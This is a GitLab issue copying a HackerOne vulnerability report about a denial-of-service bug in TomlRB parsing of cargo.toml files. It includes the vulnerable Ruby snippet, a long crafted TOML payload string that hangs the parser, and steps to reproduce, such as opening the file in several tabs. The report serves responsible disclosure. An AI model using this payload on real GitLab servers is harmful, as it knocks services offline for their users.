Server Denial-Of-Service through uncontrolled resource consumption when viewing a maliciously crafted cargo.toml file.
HackerOne report #2648665 by l33thaxor
on 2024-08-09, assigned to @kmorrison1:
Report | Attachments | How To Reproduce
Report
Summary
The bug exists in lib/gitlab/dependency_linker/cargo_toml_linker.rb
when parsing the cargo.toml
file. The bug is in the TomlRB
ruby library, not actually in the gitlab code itself.
Here:
def toml
[@]toml ||= begin
TomlRB.parse(plain_text)
rescue StandardError
nil
end
end
an attacker can supply a malicious (invalid) TOML string such as this:
data = ")'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'\)'
to cause denial of service. (This bug was originally found by fuzzing. I have attached the original hanging input with the crash-
prefix and a minimized version as cargo.toml
in the zip file. I have also attached a screen recording which shows the bug on my local machine.)
This bug stems from poor time complexity when parsing TOML in the TomlRB
library, so any component of gitlab (and computer program in general) which uses TomlRB.parse
on attacker controlled input is vulnerable.
An attacker can of course open the same cargo.toml
on multiple tabs to consume more CPU cores and bring the server to an unresponsive state.
There doesn't appear to be an application limit, which could be tuned to prevent this DOS.
Steps to reproduce
The reproduction steps are basically identical to the ones at #431924 (closed) , except just use the hanging input file attached to this report instead of the input proposed in that report. The user must of course have privileges to push this maliciously crafted cargo.toml
file to the vulnerable server.
So just:
- Create a new project or open an existing one.
- Push the malicious
cargo.toml
file to the repository. - Open the file in the gitlab web app.
- Observe uncontrolled resource consumption.
Impact
Uncontrolled resource consumption which causes Denial-Of-Service on the backend.
Examples
This bug should affect every instance of gitlab. I used gitlab version v16.2.10-ee
but having looked through the code, this should work for the newest version of gitlab.
What is the current bug behavior?
The webpage hangs consuming one CPU core when trying to load the malicious TOML file.
What is the expected correct behavior?
Instead of hanging, the web server should just display the contents and not hang.
Relevant logs and/or screenshots
Output of checks
Results of GitLab environment info
System information
System: Linuxmint 21
Proxy: no
Current User: git
Using RVM: no
Ruby Version: 3.0.6p216
Gem Version: 3.4.14
Bundler Version:2.4.16
Rake Version: 13.0.6
Redis Version: 7.0.12
Sidekiq Version:6.5.7
Go Version: go1.18.1 linux/amd64
GitLab information
Version: 16.2.10-ee
Revision: b20b986eed4
Directory: /opt/gitlab/embedded/service/gitlab-rails
DB Adapter: PostgreSQL
DB Version: 13.11
URL: http://localhost
HTTP Clone URL: http://localhost/some-group/some-project.git
SSH Clone URL: git@localhost:some-group/some-project.git
Elasticsearch: no
Geo: no
Using LDAP: no
Using Omniauth: yes
Omniauth Providers:
GitLab Shell
Version: 14.23.0
Repository storages:
- default: unix:/var/opt/gitlab/gitaly/gitaly.socket
GitLab Shell path: /opt/gitlab/embedded/service/gitlab-shell
Impact
Denial-Of-Service on all gitlab instances along with uncontrolled resource consumption.
Attachments
Warning: Attachments received through HackerOne, please exercise caution!
How To Reproduce
Please add reproducibility information to this section: